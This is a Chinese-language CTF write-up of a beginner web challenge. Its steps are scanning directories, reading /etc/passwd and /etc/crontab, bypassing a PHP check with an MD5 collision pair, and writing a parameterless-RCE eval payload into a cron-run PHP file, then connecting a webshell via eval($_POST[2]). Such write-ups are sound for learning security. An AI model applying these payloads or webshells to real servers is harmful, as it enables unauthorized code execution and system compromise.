题目描述

```
Sunned是一个linux小白，突然有一天想学渗透，她请教了某大佬，大佬说，首先的你得先学会搭建环境，然后，然后，Sunned就跟着网上的教程先搭建了一个web服务器，搭建好之后大佬给她上了一个题目。
```

题目考点

1. md5真值碰撞
2. 信息收集
3. 无参数rce

题目环境

1. linux-4.19.76
2. Apache/2.4.38
3. PHP 7.3

题目writeup

1. 打开题目，先让御剑扫描一下目录
   扫描后 `etc/passwd` 存在，尝试读取其他配置文件在 `/etc/crontab` 发现一条记录

```
0 17 2 8 * /bin/php /very_g00d_Y0u_got_it.php
```

2. 查看源码发现是md5真值碰撞

```
if ($_POST['a'] !== $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo ("You need the file is xxx");
} else {
echo ("nonono , once again! ");
}
```

3. 使用网上找的一对md5相同的字符串使用post提交

```
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
```

4. 提交后给出了另一个PHP的网页

```
 (3b8cf4731c36d20776c76e20f9c774c7.php)
You need the file is ./3b8cf4731c36d20776c76e20f9c774c7.php
```

5. 访问之后得到源码

```
@$data=$_POST['data'];
$file=$_POST['file'];
if($file!="/xxx")
die("你需要知道写入的文件名！！！！！我猜你知道到这个文件叫什么,记得加上绝对路径");
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $data)) {
echo "great!!!!你需要看看源码";
file_put_contents($file,$data);
}
```

是无参数 `rce` ，文件名有一个判断，尝试写入文件到 `/very_g00d_Y0u_got_it.php` ，使用 `post` 传入数据 `data=eval(end(current(get_defined_vars())));&file=/very_g00d_Y0u_got_it.php` 提示需要看看源码。

6. 使用蚁剑连接，`url` 填入 `host/very_g00d_Y0u_got_it.php?1=eval($_POST[2]);` 查看 `3b8cf4731c36d20776c76e20f9c774c7.php` 的源码，其中有一条注释 `//你想要的文件是 Zmw0Z2dnZ2dnZ2dnZ2dnCg`